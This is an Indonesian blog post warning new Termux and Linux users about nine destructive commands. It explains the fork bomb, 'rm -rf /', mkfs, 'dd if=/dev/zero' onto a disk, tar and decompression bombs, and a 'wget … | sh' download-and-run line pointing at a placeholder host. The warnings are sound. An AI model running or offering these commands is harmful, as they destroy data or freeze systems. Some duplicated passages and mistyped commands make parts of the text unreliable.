Hati Hati!! inilah 9 Perintah Termux & Linux Berbahaya
Perintah Termux / Linux Terminal adalah suatu command atau baris perintah yang sangat powerfull karena
hanyalah beberapa baris perintah sederhana namun dapat digunakan untuk
menghapus folder, file atau bahkan root folder, dan lain-lain.
Dalam beberapa kasus, Termux bahkan tidak akan meminta Anda untuk mengkonfirmasi melainkan akan menjalankan perintah secara langsung, dan jika Anda tidak berhati-hati tentunya itu akan menyebabkan Anda kehilangan data dan informasi berharga yang tersimpan dalam suatu file atau folder.
Terutama jika Anda adalah pengguna baru dalam Termux yang
masih belajar, dan tentunya Anda akan mencari beberapa tutorial di
internet. Dari sekian banyak artikel yang ada, bukan tidak mungkin Anda
akan menemukan sebuah artikel yang memang disengaja untuk menjerumuskan
para pengguna baru atau memang sedang iseng karena mungkin penulis
artikel tersebut juga seorang pengguna baru dan sekedar ingin
unjuk kebolehan atau iseng untuk menjahili orang lain, dengan memposting
suatu perintah yang akan mengakibatkan Smartphone Anda terancam terkena
masalah.
Untuk itulah saya mengumpulkan beberapa perintah Termux
yang cukup berbahaya bagi sistem Anda agar dapat membantu Anda untuk
sekedar hati-hati dan menghindari yang saya sebutkan diatas akan
terjadi. Namun tetap harus perlu diingat bahwa perintah tersebut memang
berbahaya dan bahkan dapat diubah dalam berbagai cara untuk tetap
menghasilkan perintah baru yang bertujuan untuk menimbulkan lebih banyak
kerusakan.
Baris Perintah Shell Yang Harus Hati-hati Dalam Menggunakannya
1. Linux Fork Bomb
:(){ :|: & };: Dikenal sebagai Fork Bomb, yaitu adalah serangan Denial-of-Service (DoS) terhadap Sistem Linux & Termux. :(){ :|: & };: Adalah merupakan fungsi bash. Setelah dieksekusi, akan melakukan looping atau berulang beberapa kali sampai sistem akan mengalami freeze.
Anda
hanya bisa menghentikannya dengan me-restart smartphone anda. Jadi
hati-hati ketika menjalankan perintah ini pada shell Termux Anda.
2. mv folder/dev/null
mv folder/dev/null adalah perintah yang cukup berisiko lainnya.
Dev/null atau null device adalah suatu device file atau suatu perangkat
yang akan membuang semua data yang tertulis di dalamnya, namun akan
melaporkan bahwa operasi yang dijalankan tersebut berhasil. Juga dikenal
sebagai bit bucked atau black hole.
3. Perintah rm -rf
Perintah rm -rf adalah cara cepat untuk menghapus suatu folder dan
berikut isinya dalam sistem operasi Linux & Termux. Jika Anda tidak tahu
bagaimana menggunakannya dengan benar maka dapat menjadi sangat
berbahaya bagi sistem Anda. Kombinasi yang paling umum dan opsi yang
digunakan dengan perintah rm -rf tercantum di bawah ini:
- rm Perintah ini digunakan untuk menghapus file dalam sistem Linux.
- rm -f perintah menghapus read-only file dalam folder tanpa konfirmasi atau prompting.
- rm -r perintah menghapus isi dari suatu folder secara rekursif.
- rm -d perintah ini digunakan untuk menghapus direktori kosong dan akan menolak untuk menghapusnya jika direktori tersebut tidak kosong.
- rm -rf/ perintah yang digunakan untuk penghapusan paksa (akan tetap menghapus meskipun file tersebut write protected) dari semua isi dalam r*ot direktori dan sub folder.
- rm -rf* Perintah ini digunakan untuk penghapusan paksa semua konten di direktori saat ini (direktori kerja Anda saat ini) dan sub folder.
- rm -rf. Perintah ini digunakan untuk penghapusan paksa semua konten dalam folder saat ini dan sub folder. rm -r.[^.]* Perintah ini juga dapat digunakan.
- rm -i Perintah ini digunakan untuk menghilangkan file dan folder tetapi konfirmasi atau prompt akan muncul sebelum penghapusan.
4. Perintah mkfs
mkfs dapat menjadi suatu perintah yang berbahaya bagi sistem berbasis
Linux Anda jika Anda tidak tahu apa tujuannya. Apapun yang ditulis
setelah mkfs akan diformat dan diganti dengan Linux file Sistem yang kosong. Perintah yang ditulis di bawah ini akan dapat memformat sebuah hard drive namun memerlukan hak administrator atau root:
- mkfs
- mkfs.bfs
- mkfs.minix
- mkfs.vfat
- mkfs.ext2
- mkfs.ext3
- mkfs.reiserfs
- mkfs.msdos
Khusus untuk perintah mkfs.cramfs akan melakukan hal yang sama seperti di atas namun tidak memerlukan akses r*ot untuk mengeksekusinya.
5. Tar Bomb
Perintah tar (Tape Archive) digunakan untuk menggabungkan beberapa file ke dalam satu file (file arsip atau awamnya adalah zip) dalam format .tar, Sebuah tar bomb dapat dibuat dengan perintah ini.
Ini adalah file arsip yang akan meledak menjadi ribuan atau jutaan file
dengan nama yang mirip dengan file yang ada ke dalam direktori kerja
saat ini atau juga ke direktori baru ketika mengekstraknya.
Anda dapat menghindari menjadi korban dari bom tar ini dengan secara
teratur membuat direktori pelindung baru setiap kali Anda menerima file
tar dan kemudian memindahkan file tar yang diterima ke dalam direktori
ini sebelum melakukan untar atau mengekstraknya.
Jika file tar yang diterima adalah memang benar sebuah bom tar maka Anda hanya dapat menghapus direktori yang baru dibuat untuk menghilangkannya. Cara lain untuk menghindari ledakan bom tar adalah melalui opsi -t untuk melihat daftar semua isi dari file tar sebagai gambaran jenis konten apa yang terdapat dalam file tar tersebut.
Perintah tersebut mungkin dapat terlihat seperti ini:
Setelah file di dekompresi, ratusan GigaByte data ter-extrak dan dapat memenuhi isi hard drive Anda yang tentunya akan menurunkan kinerja sistem Linux Anda. Untuk menghindari situasi ini, lagi-lagi selalu ingat untuk menerima data dari sumber yang dapat dipercaya.
Jika file tar yang diterima adalah memang benar sebuah bom tar maka Anda hanya dapat menghapus direktori yang baru dibuat untuk menghilangkannya. Cara lain untuk menghindari ledakan bom tar adalah melalui opsi -t untuk melihat daftar semua isi dari file tar sebagai gambaran jenis konten apa yang terdapat dalam file tar tersebut.
6. Perintah dd
Perintah dd ini digunakan untuk menyalin & mengkonversi partisi hard disk. Namun, hal itu dapat berubah menjadi berbahaya jika Anda menggunakannya dengan tujuan yang salah.Perintah tersebut mungkin dapat terlihat seperti ini:
- dd if=something of=/dev/sda
- dd if=/dev/hda of=/dev/sdb
- dd if=something of=/dev/hda
- dd if=/dev/hda of=/dev/hdb
Perintah berikut akan men-destroy seluruh hard disk primer: dd if=/dev/zero of=/dev/had
7. Kode Script Shell
Seseorang mungkin akan menjebak Anda dengan memberikan Anda link ke sebuah shell script dan menyuruh Anda untuk men-download dan menjalankannya. script tersebut mungkin berisi beberapa kode berbahaya atau malicious code di dalamnya. Format perintahnya mungkin akan terlihat seperti ini:
wget http://some_malicious_source -O- | sh.
Perintah wget akan mendownload script, sementara sh akan melakukan eksekusi dari script tersebut.
8. Source Code Berbahaya
Seseorang memberi Anda kode sumber dan meminta Anda untuk melakukan
kompilasi terhadap kode tersebut. Kode tersebut mungkin akan tampak
sebagai kode yang normal namun pada kenyataannya beberapa kode berbahaya
menyamar dalam kumpulan kode sumber tersebut dan akan dapat menyebabkan
kerusakan pada sistem Anda. Untuk menghindari menjadi korban serangan
semacam ini, hendaknya hanya menerima dan mengkompilasi sebuah kode
sumber dari sumber yang dapat dipercaya.
9. Dekompres Bom
Semisalnya Anda telah menerima file archieve atau terkompresi dan Anda diminta untuk mengekstrak file tersebut yang tampaknya sangat kecil ukurannya, mungkin hanya beberapa KiloByte. Namun pada kenyataanya, file terkompresi yang berukuran sangat kecil ini ternyata berisi data yang sangat sangat padat atau Very highly compressed.
Setelah file di dekompresi, ratusan GigaByte data ter-extrak dan dapat memenuhi isi hard drive Anda yang tentunya akan menurunkan kinerja sistem Linux Anda. Untuk menghindari situasi ini, lagi-lagi selalu ingat untuk menerima data dari sumber yang dapat dipercaya.
Belum ada Komentar untuk "Hati Hati!! inilah 9 Perintah Termux & Linux Berbahaya"
Posting Komentar
Berkomentarlah dengan baik dan Sopan. Merupakan suatu keindahan bisa saling berbagi ilmu dengan sesama. Tinggalkan link blog mu biar mudah saya kunjungi balik. Terimakasih